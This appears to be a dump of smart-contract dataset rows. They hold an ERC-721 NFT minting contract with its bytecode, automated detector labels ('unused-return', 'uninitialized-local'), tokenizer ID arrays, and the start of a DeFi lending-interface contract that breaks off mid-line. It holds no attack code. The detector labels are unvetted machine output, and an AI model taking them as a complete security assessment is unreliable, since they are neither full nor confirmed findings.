10000; uint256 public maxMintAmount = 20; bool public paused = true; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f47565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f2c565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612154565b34801561029957600080fd5b506102ad6102a8366004611fca565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f02565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e20565b6109b7565b34801561037557600080fd5b50610310610384366004611f02565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e20565b610b00565b3480156103bd57600080fd5b506103d16103cc366004611dd2565b610b1b565b6040516102409190612110565b3480156103ea57600080fd5b506102696103f9366004611fca565b610bbd565b34801561040a57600080fd5b50610310610419366004611fca565b610bec565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f81565b610c7f565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fca565b610cc0565b3480156104a357600080fd5b506103106104b2366004611dd2565b610d37565b3480156104c357600080fd5b50610269610dbe565b3480156104d857600080fd5b506102696104e7366004611fca565b610df4565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e23565b61026961052d366004611fca565b610e32565b34801561053e57600080fd5b5061026961054d366004611ed8565b610edf565b34801561055e57600080fd5b50610269610fa4565b34801561057357600080fd5b50610269610582366004611e5c565b610fdf565b34801561059357600080fd5b50610280611017565b3480156105a857600080fd5b506102806105b7366004611fca565b611024565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f81565b6111a3565b3480156105fe57600080fd5b5061023461060d366004611ded565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f81565b6111e0565b34801561066757600080fd5b50610269610676366004611dd2565b61121d565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112b5565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121b9565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122cd565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122cd565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122cd565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cc0565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611305565b505050565b6109c13382611373565b6109dd5760405162461bcd60e51b81526004016106d0906121ee565b6109b283838361146a565b60006109f383610d37565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121b9565b604051600090339047908381818185875af1925050503d8060008114610aea576040519150601f19603f3d011682016040523d82523d6000602084013e610aef565b606091505b5050905080610afd57600080fd5b50565b6109b283838360405180602001604052806000815250610fdf565b60606000610b2883610d37565b905060008167ffffffffffffffff811115610b4557610b4561238f565b604051908082528060200260200182016040528015610b6e578160200160208202803683370190505b50905060005b82811015610bb557610b8685826109e8565b828281518110610b9857610b98612379565b602090810291909101015280610bad81612308565b915050610b74565b509392505050565b600a546001600160a01b03163314610be75760405162461bcd60e51b81526004016106d0906121b9565b600d55565b6000610bf760085490565b8210610c5a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c6d57610c6d612379565b90600052602060002001549050919050565b600a546001600160a01b03163314610ca95760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600b906020840190611c97565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610da25760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610de85760405162461bcd60e51b81526004016106d0906121b9565b610df26000611615565b565b600a546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016106d0906121b9565b600f55565b6060600180546106fb906122cd565b6000610e3d60085490565b60105490915060ff1615610e5057600080fd5b60008211610e5d57600080fd5b600f54821115610e6c57600080fd5b600e54610e79838361223f565b1115610e8457600080fd5b600a546001600160a01b03163314610eb05781600d54610ea4919061226b565b341015610eb057600080fd5b60015b8281116109b257610ecd33610ec8838561223f565b611667565b80610ed781612308565b915050610eb3565b6001600160a01b038216331415610f385760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fce5760405162461bcd60e51b81526004016106d0906121b9565b6010805461ff001916610100179055565b610fe93383611373565b6110055760405162461bcd60e51b81526004016106d0906121ee565b61101184848484611681565b50505050565b600c8054610820906122cd565b6000818152600260205260409020546060906001600160a01b03166110a35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661114457601180546110bf906122cd565b80601f01602080910402602001604051908101604052809291908181526020018280546110eb906122cd565b80156111385780601f1061110d57610100808354040283529160200191611138565b820191906000526020600020905b81548152906001019060200180831161111b57829003601f168201915b50505050509050919050565b600061114e6116b4565b9050600081511161116e576040518060200160405280600081525061119c565b80611178846116c3565b600c60405160200161118c9392919061200f565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111cd5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600c906020840190611c97565b600a546001600160a01b0316331461120a5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc906011906020840190611c97565b600a546001600160a01b031633146112475760405162461bcd60e51b81526004016106d0906121b9565b6001600160a01b0381166112ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610afd81611615565b60006001600160e01b031982166380ac58cd60e01b14806112e657506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061133a82610cc0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166113ec5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b60006113f783610cc0565b9050806001600160a01b0316846001600160a01b031614806114325750836001600160a01b03166114278461077e565b6001600160a01b0316145b8061146257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661147d82610cc0565b6001600160a01b0316146114e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115475760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115528383836117c1565b61155d600082611305565b6001600160a01b038316600090815260036020526040812080546001929061158690849061228a565b90915550506001600160a01b03821660009081526003602052604081208054600192906115b490849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cbc828260405180602001604052806000815250611879565b61168c84848461146a565b611698848484846118ac565b6110115760405162461bcd60e51b81526004016106d090612167565b6060600b80546106fb906122cd565b6060816116e75750506040805180820190915260018152600360fc1b602082015290565b8160005b811561171157806116fb81612308565b915061170a9050600a83612257565b91506116eb565b60008167ffffffffffffffff81111561172c5761172c61238f565b6040519080825280601f01601f191660200182016040528015611756576020820181803683370190505b5090505b84156114625761176b60018361228a565b9150611778600a86612323565b61178390603061223f565b60f81b81838151811061179857611798612379565b60200101906001600160f81b031916908160001a9053506117ba600a86612257565b945061175a565b6001600160a01b03831661181c5761181781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61183f565b816001600160a01b0316836001600160a01b03161461183f5761183f83826119b9565b6001600160a01b038216611856576109b281611a56565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b05565b6118838383611b49565b61189060008484846118ac565b6109b25760405162461bcd60e51b81526004016106d090612167565b60006001600160a01b0384163b156119ae57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118f09033908990889088906004016120d3565b602060405180830381600087803b15801561190a57600080fd5b505af192505050801561193a575060408051601f3d908101601f1916820190925261193791810190611f64565b60015b611994573d808015611968576040519150601f19603f3d011682016040523d82523d6000602084013e61196d565b606091505b50805161198c5760405162461bcd60e51b81526004016106d090612167565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611462565b506001949350505050565b600060016119c684610d37565b6119d0919061228a565b600083815260076020526040902054909150808214611a23576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a689060019061228a565b60008381526009602052604081205460088054939450909284908110611a9057611a90612379565b906000526020600020015490508060088381548110611ab157611ab1612379565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ae957611ae9612363565b6001900381819060005260206000200160009055905550505050565b6000611b1083610d37565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611b9f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c045760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c10600083836117c1565b6001600160a01b0382166000908152600360205260408120805460019290611c3990849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ca3906122cd565b90600052602060002090601f016020900481019282611cc55760008555611d0b565b82601f10611cde57805160ff1916838001178555611d0b565b82800160010185558215611d0b579182015b82811115611d0b578251825591602001919060010190611cf0565b50611d17929150611d1b565b5090565b5b80821115611d175760008155600101611d1c565b600067ffffffffffffffff80841115611d4b57611d4b61238f565b604051601f8501601f19908116603f01168101908282118183101715611d7357611d7361238f565b81604052809350858152868686011115611d8c57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dbd57600080fd5b919050565b80358015158114611dbd57600080fd5b600060208284031215611de457600080fd5b61119c82611da6565b60008060408385031215611e0057600080fd5b611e0983611da6565b9150611e1760208401611da6565b90509250929050565b600080600060608486031215611e3557600080fd5b611e3e84611da6565b9250611e4c60208501611da6565b9150604084013590509250925092565b60008060008060808587031215611e7257600080fd5b611e7b85611da6565b9350611e8960208601611da6565b925060408501359150606085013567ffffffffffffffff811115611eac57600080fd5b8501601f81018713611ebd57600080fd5b611ecc87823560208401611d30565b91505092959194509250565b60008060408385031215611eeb57600080fd5b611ef483611da6565b9150611e1760208401611dc2565b60008060408385031215611f1557600080fd5b611f1e83611da6565b946020939093013593505050565b600060208284031215611f3e57600080fd5b61119c82611dc2565b600060208284031215611f5957600080fd5b813561119c816123a5565b600060208284031215611f7657600080fd5b815161119c816123a5565b600060208284031215611f9357600080fd5b813567ffffffffffffffff811115611faa57600080fd5b8201601f81018413611fbb57600080fd5b61146284823560208401611d30565b600060208284031215611fdc57600080fd5b5035919050565b60008151808452611ffb8160208601602086016122a1565b601f01601f19169290920160200192915050565b6000845160206120228285838a016122a1565b8551918401916120358184848a016122a1565b8554920191600090600181811c908083168061205257607f831692505b85831081141561207057634e487b7160e01b85526022600452602485fd5b8080156120845760018114612095576120c2565b60ff198516885283880195506120c2565b60008b81526020902060005b858110156120ba5781548a8201529084019088016120a1565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061210690830184611fe3565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156121485783518352928401929184019160010161212c565b50909695505050505050565b60208152600061119c6020830184611fe3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561225257612252612337565b500190565b6000826122665761226661234d565b500490565b600081600019048311821515161561228557612285612337565b500290565b60008282101561229c5761229c612337565b500390565b60005b838110156122bc5781810151838201526020016122a4565b838111156110115750506000910152565b600181811c908216806122e157607f821691505b6020821081141561230257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561231c5761231c612337565b5060010190565b6000826123325761233261234d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610afd57600080fdfea2646970667358221220eb60681f466ccd28a364cd1058214ac0fb78ed10eef696dc7762a08cf13fc30364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2487, 2497, 2629, 2050, 22025, 2094, 19481, 28311, 2094, 2575, 2497, 21084, 2094, 2692, 2094, 19841, 19481, 2549, 2094, 22394, 2509, 2497, 19841, 7875, 2497, 2692, 2050, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 13266, 2011, 23325, 15000, 2015, 1013, 1008, 1008, 999, 5860, 19771, 5017, 999, 2122, 8311, 2031, 2042, 2109, 2000, 3443, 14924, 26340, 1010, 1998, 2001, 2580, 2005, 1996, 3800, 2000, 6570, 2111, 2129, 2000, 3443, 6047, 8311, 2006, 1996, 3796, 24925, 2078, 1012, 3531, 3319, 2023, 3642, 2006, 2115, 2219, 2077, 2478, 2151, 1997, 1996, 2206, 3642, 2005, 2537, 1012, 23325, 15000, 2015, 2097, 2025, 2022, 20090, 1999, 2151, 2126, 2065, 2005, 1996, 2224, 1997, 1996, 3642, 1012, 2008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,827
0x977242b309a84f1b6bd7f9a4363aed3b474ba7f7
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external virtual view returns(address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external virtual view returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external virtual view returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external virtual view returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external virtual view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public virtual view returns (address); function getReserveConfiguration(address _reserve) external virtual view returns (uint256, uint256, uint256, bool); function getUserUnderlyingAssetBalance(address _reserve, address _user) public virtual view returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveTotalLiquidity(address _reserve) public virtual view returns (uint256); function getReserveAvailableLiquidity(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public virtual view returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public virtual view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); // function mint() external virtual payable; function accrueInterest() public virtual returns (uint); function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } abstract contract ILoanShifter { function getLoanAmount(uint, address) public virtual returns (uint); function getUnderlyingAsset(address _addr) public view virtual returns (address); } abstract contract DSProxyInterface { /// Truffle wont compile if this isn't commented // function execute(bytes memory _code, bytes memory _data) // public virtual // payable // returns (address, bytes32); function execute(address _target, bytes memory _data) public virtual payable returns (bytes32); function setCache(address _cacheAddr) public virtual payable returns (bool); function owner() public virtual returns (address); } abstract contract Vat { struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } mapping (bytes32 => mapping (address => Urn )) public urns; mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => uint)) public gem; // [wad] function can(address, address) virtual public view returns (uint); function dai(address) virtual public view returns (uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; function fork(bytes32, address, address, int, int) virtual public; } abstract contract Manager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: 